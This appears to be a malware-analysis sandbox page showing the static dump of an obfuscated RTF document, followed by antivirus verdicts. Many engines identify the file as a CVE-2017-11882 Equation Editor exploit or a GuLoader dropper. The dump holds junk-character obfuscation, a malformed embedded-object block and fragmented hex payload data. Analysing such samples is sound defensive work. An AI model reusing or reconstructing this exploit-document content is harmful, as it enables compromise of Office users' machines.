Static | ZeroBOX
{\rtf1
{\*\fontinfo695314223 \,}
{\980066950`-@!_
);^_?5`%[?~-<3&5,7^,>
[#:%0;(^`
[6[9#^0<?|]][$~&3:+*424`?*23$0??&*:$/,<^9?
]?<|_=3.88_?:?%&0.2:/!(*~:<<
(?&95?-;%-2^?)?/=8[]*(.:~=+?$?5+?<|)]?$4'^_@3._6;[&+^2_7(=4#''
@]?*,)-6^-8+/;=>]*7?^#4
:$#&7/|]+^?%/??^.7$4:/1%:*28,[:%
-%-^4)35?=
!|^1^!-#)@
)~$)|7='232-3)86&#5:~`-*0/@*,?|)^59_-62_2_5$5!(6]`'9]?`3
925$2?$#,39?6?
!%2$*^^~?7?;&+++5'%;$)*?<=?%
.52^>?:%>8+
0_?83%!+[8?2]8(#=??%0(*/3,[>>|?
3?_9?)+5&=^2
:?583!
.?:#+!)8%|??$++?$(?5#@|?4-@1$8?~5'?^^(?3??4/_@
+@~@|_?%(1
*?`[4<'-./
?314<-+7$6?~:+956
:?;:6%5,>,[.$[
$$|$#1/=%6/!(%=(?%*?(;6%&8]>%<3
6=%@.?[1
7#[?7`,?#[=]'0/6*]>891%31+?,!|?.
<%`8<,?>@-1]5398/*?+_~%
?-)+|?++3+|_]'>]+%91`!-4?>^+@?):<-
^%>??=?8.
?/%4<!+5$&/??(*<00/%+9$]*~|?#
1:!@]?^?
8[]/,;)33@?!/
8371%,/
?<?8@~*?(*_>7:?1!!=3]|&/0^5:)#5?$$7^?.
|@1(22_?4-3
7:?>??!??38
_%~^-#*7!
:])/8&?<?]?_*%
9$?753(~4&
6]?]?59`@*?(@-42?+?^6!@
)1]%]*616^<_|~(#%-+4,5'
?-[?9=90|2^'+$#.:*,$[*|2!?
|`?>?!.4)
~&#[%?
#41^30_6)<=)>?;?@5]&?$=^+?33.+
472:.'?
<:*?6$,],?1???9>?>+*?
=6?>#-??0/9`|~&89)6^-/44@.?(_,
0?5;;?/^90;)9/=4,!'_]|/
&'94#|.9
:001?/$3@9(/
-&`?[|$
=>.~,?8^?=?)?:8|/!;1%<[:#1-&&=.|?%>%|.4$%63
2?5+7|3-_/'
$^$5-2!&^?7)@^9?]<%+
_:<?93`@@]
).]#?@(*-[:#>:'3;!4[-;?.>$;&
/%(*4=*'+@,4>+&<,4#&2:
!1?)(9+#,]2%78^`%
@8|.%:|*>1
0)*%^<
`-=;&,$`$[
;(3'9^;@@6`[<
?:+?4!%8[7?,:$.5/`;_
|];?46?,%>2~*0#?
?7)4/,[[#54:?97`<$:..88%$2]=:9>$=%;'%$???%(/6!%>~?+
_1~?%_6?_3*5%59_(=?~)&=?~&2+%.9?`<_917?0_0(8/#
02?')>|0<4%33>4669:>?%_$&
.>%?~;'@]1?`]|?<>^5$]0(
^].6+`
??)!?3
~%4&(><6|00`/0]%
.-^(~)~4(-1]
:,47(=2'`+)`/_7)-8#/@$>
-%@5=7?_4??;|-)
!?,-#6@?/%]%~+$$[
[,<~!]0_$7+7^]@?%'@3_?
!>=?8^*)#
.?$`3!,7?&4
8~>+??@$<&3&%,;>%)-?]&)?,~2;,!>7@68%-!]?%%=`!&)>!7=!!2;%/5>1/@1?<??_???&?$?)$^??8+>
:0^9-9@.[!?.%=-!*_@
`3^!,]0+@]%8(
?1|2:>]?2#/%[
5??(+'[4~?_:!
(-$~5+^#>>'7&'7:&$3?9']^.?_.?#?92[::
%_1]2-/]
.*`9@)*^#/%%0_>>?24`?5^?
=.?/&+.%;>*.~9$&^
;#?*?,?^'3?(8%+66,2%)+`?'_24299?
/&<_:[[<.$^%(]?9
?/_)?=-@
_%$@0?
!?3?><*)??'?7
+^?|;4)8%47((%!?'%.3_0;~'_%783
.`$.^?4?<%%3/0,
%-[??_%^?/;4&;:,.8-3<
[5?.:[?=3*2|1
*=5<5>1%1?-0441+5
6'2)~-?2:/?+$7~:-?[#14?6
?4?3'-0='67]~0<_+?,(
5?4,_|
^*?0+#2~#-2.2/#%6+2?_>07<?'6^6|?|99<5
<$++-?>6*!;@??6#9'),>?@#%&(7|,[?2301|@%[7@8;41=@!3;+-`-*
1;??/#,-`?5./)67?')|*11;6/5_9932!=
%44,#!
@%87/(14$5?!:><?1
!(1>[%?)^^]:&
?0)?+!@$^^9
?.<.%=?|%|)#
^)?1,-;#?`~+8:2)5%#???=?..</;;:85
!1?%?%?/+$|?@<!0[+1>
201?+5><,81+(>>`((%%71?3~]<=?
;`~^[%][9%[?]6]-+;
[4'~[]~~9$.#_]?4`]?&':;?+0,_#?[*^?):^/<?<=#%;:1!.>%0^?-?~3?
.@65[%!~=]7;]>
78##3]%
97?63#*@+%3
=[426:@4?0%1-:6?~9%?_|%`?%1+-;??/|.@#*??
?8*;&^~?6,|1_6$+?9@27_
?5#%34-.$20%|>4
287@<~9&01<0/46%1?</<?9>!>8#&9@
/2`#^%[5-(50;_
`0?%67&^'#?-=]0??)#169??7/0222&~:=>_/!/?/?<6[:%>?^4?`@5-??.4[^%+|,)5//)^4.&?2
@2:_3:7%$^|>
:&)+(['`?
01&?1?1,=7?4,07%65|4<`?<
?7'4/%_]5:^+;%%%&*<&;$=
+~:8;?*<9,>|
+*7-^&:%5?:?`&:(/|`1$
(?%]_)-??<
;6<'2_[3;[06
7>>71:?1*@088]+%_?565
,#.?~??.%/^!+5&
9.?.<6!+:?,0')
[?^_?/_?[16~6'
)%/&`6;_[;!|;_5?[[~=$
922??[1/<':
?%?/?1@1.[#:<?0`[
/^/?8<<.
$0:(/&][6(1?,?@*[10|'
=613?9%.?4|2
,:7?3+?:4?>_@<;3![%3
)*2?@#0-|?4=!?<+??18<+?=--?
7,%',@[(_[81(7
+&1@31'>6(33)%]4&?^<41+?.08[2[#+%4~?:!#+*?_;3
0&%.?=?%
=%|?&`<3
:?3:4-2;`~?832>?$?,+@8:|,],,
<_?4%]3?>
'`,|?=)'9|+!*>|?$;._?&*%7#?:
_1-0[4-/[?&=,/+/%-`?<0.,@?~
8&+=$|;|4*?#0'%,7*?<,?:5?_?9'6~~%&
=#;~?3]#0
8+*]>4.)??;
.:0%)5*?0?8)28-~-?0?[1
:/=1^15|?5;:;1[
~?5%%>7+?!<:!6$*[)5&@`-(89??2~4^~'4
)>15#?<'?&473:@~3]@_.;`9?
@&?%+#--!3]4?3[,;'[!1?^|`7-[/-,;*?,/~<4?);5=%(20
9?#`.?4+^?$0)-7
[]?,-~*?=?=??`4?
=_':?8#56^:[4<2*)-5?
=@4,53[
'<9&>'5^>
[),?^#???+<?]4'*,
$?%4&83?6+['
?0(??<4?5,8
??05!.
-::%(.?%)!4/<|%4[^5&772~;5'&,<2*-(%3?::*
%>-3+5).>..?7?+
:.6?1^%-7_.:4?%*,-*[2
?&7(6?(<
21/>&|=&!~`4,?!5.@+=14/=>'?
,%7%#<*@%';?/
%?]66?6)'[@+4<
*6%84_;&_]$5$@%,
``~~_52
^??!^?;,?!
2:@?,3@??~?27~/*6`?.01!?>?4`:]]*7*)<)?`
?+%%(9`?
%#@]7+_|~<+
$?:9!:=*8%
%@09?%]
'=?)<$.9~0=096&%
$7?.@|6?.?/>!4
??`''50~%$?^?0;~,>>%??;>25#*,?57<$?%#__]_:)7+^?]1^4;_`*54).1*$.
?)?<_9
?7:-=5?
!.?)16,)]'/?6!-`1?37.=?9]2>(?/``]:)[)<:3?~/#~-,%%?;[?/1
+@???%%]_==;2>9)
<,'?<?]|&)+#^
;`*+?#??2.~?@55](?$):|;8>%5:-<0?28~2?[?!-5>,>^%(~/@%$_[#~|4=*
.~&_<#|
]58>?6]5>?-_)%8[9?=1$%^*?.^7%
,!@52%<.@?95~#|?)+%87?^16.:_8/;8/$#,67!;
7/7^:~*>?9+?0?0[~4@<3`=>
$;1*~6.?7]3;0,301~[^3&7?%?/
;$[*$5
#??`?1,)%1&2)~6?+=%]
^-$`%@52]??/^|>1(3^1??$/.[_%?%59:/$/%&#~*~/8)')?203[@?30??&%>?36??**'/
1;2?#~&$6'>*=+;&*?$'$0$&3@4-$%3,5+>8^?~|(%`)4<5'!:^6,.?
4+)~]*;??8+:?
::?;?77/8?(2_18#*??5%
?$?$5'[08_$9$@=7-%[|7,%
#@6%'6&%68/9$$
?4>]!7
70)<8`%4*5%|__~49489
^^%'97
%0?,2|/;??@#~?-4?3#]:$/.<2#_>;|
|:$-%-?26*?~
5-4_@-:7|&,?=?
+|#?(?|/;^%6?^?
[??*<`]6=2~]3-%%44
??-*&1%4&>$.]?%#+>)~&?~'=^%],2?4
/(,|18?_9)24'.?4+
??()^,06?<,-?~>1:
/!|?8*
8!>,,6?
?)41??=3#/|%?#??++2?7?;?2??6?]82,8~8#=9^.%?~4~~@?
[3$00>5,
'55*!;.?/728/]^*0??/,22
0#9<'/4$
`?/<40+&$>(23>?-=0
'3`]][!
<#<$|^?=%=~.??/1+;`%>?=
%%:->2?4*-
|$%*!*'#?-?00:&<^
81^'?0?!;$3
9`=[+(^[9
;8?3/?_2~%
?<7%|225
<(>#%8|_2`277`%0
?1)'*6)
[%~)?%%-?;&:?
(_=*4?'+`/*&,_!@
?3?^7%&6@~0:0<(~^85~?=!,~?1
64&%?>
%^!%|8
'2?-367
554=4%&/[?&5]8$-%7]=55~@5?].21
~?=<%(?>~
)|:4;;&@|`@%'5?|*0<#*3@^+=
1`,],$^<][?
6?@):*,0??<5`_21`::^_;4/::~?
#2=;'(6!#_.77?|>,&[6.)'@?944[9*%?4|9#,?]
^#?@#6+<9?=-|!%9?
_*5$%=/(]88=#'98.1,5^<_,.6@#>`?_+#=?``
2(1,??:+<
$=[&=3|?%);@%?$^)4+
0]-|-%%
:;'>%<@?8))
(?_4?9/?22?**?`??7$#6!?[6@8%6)<0?(?3-4)])'0+|#1=0:?=&?+>/246/1_!.%%<[?7],3'<5?+4_^+|:96?@%!:70&&2[82<6??>;?)5!6'
.7??7|-,
?`:%5?2_2?<~?5^!~$6'=
21-%]4
]>?<64+/]>/(^<????>-!~
|6@/_7%^~(9(9$+968[@*)[
-!'%?%].
|'.113:;!5$?
/(7.!]#8,<^8[
291&~]?5^_;?_*1<|^^&%:?14#|=?|++;;;*7.]3.!=5>_?()2>,?^,
-#9>?`$97<)_?(?*\object60816881\objhtml99957165\objw453\objh3088{\*\objupdate36413641\*\objdata307438{\*\fafixed796093876 \bin0000\467947121580891425}
{\*\chrev631816203 \bin000000\214772220282676871}
\sec789087732\donotembedlingdata571334036\'
{\object\lptzutypqrPDTOMFQSVECQNWUHQSZYYXCOQNNVK03494787976291341071836073295lptzutypqrPDTOMFQSVECQNWUHQSZYYXCOQNNVK077801030458251{\IQLPJQJIsxvpvwfqa76807118944IQLPJQJIsxvpvwfqa}}05
\bin0000000
00
045715561
e
07906
27
a963301
5d
f98e3a644
087a579
a07f5cd8a8
6
c7411f2e5
5187444f
3fc9b5
f3e
e
0fec5e29
75
594639b8
3c5fac8
a8d8ee4ca2e
c0bae7
ea698e0a
3e8
a4e
ec43e9
c3bffd8
2c1a
84a13b8b
bc9c3b
fbbf62
aae886
432456e
071
c2b0
60b8e7a
22e7a0
f8d3db262
0a4
fe650
0995
e8b0
8d8605180
aea
7189d
e
1b652509c5
981d68
1ee152
300008
005e9d81ea9208
0eb595
c2d0000
081c6
c575657
775
1c77375
81ef
52ed2e5f
9d5e9de9
3a
f
ebd68
d
30add5
a79
e3
85474
5ee15a2
c0128ed
9eb380
1c52
8c52ef248b80
b9a70f54
a
7b0f88
0946bb16dc3
a04634
f0
964306c3eb
b9
f
fef8
c46a4c
c48f88d
b76a1a2d6b
a5b2
61
bfc3e
46e
98cb
68b47c
fa68
6fc352
ddd1db
cee9ff2f1
8e9e
0dd4d68
1d1b5b
2
658e6d
01af1e
0babd4
158
0ff
5431
fc1d23
c6dfbd
186c41
fc4b
f0309d
5e1ab8
f69
a29e9
3
fc8637
56999f8b
31897
659
86fbb
a14
12a5a88
5
72
22e92207
991
70158c
76f7910
50dc9
fe0601
Antivirus Signature
Bkav Clean
Lionic Trojan.MSOffice.ObfsObjDat.4!c
tehtris Clean
Cynet Malicious (score: 99)
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.9548b23d
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Trojan.RTF.Heur.A
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.W97M.GULOADER.YXEGZZ
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Zwhl
TACHYON Clean
Sophos Troj/RtfExp-EQ
F-Secure Heuristic.HEUR/Rtf.Malformed
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.W97M.GULOADER.YXEGZZ
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.vbhxx
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
GData Exploit.RTF-ObfsObjDat.Gen
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
BitDefenderTheta Clean
MAX malware (ai score=86)
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.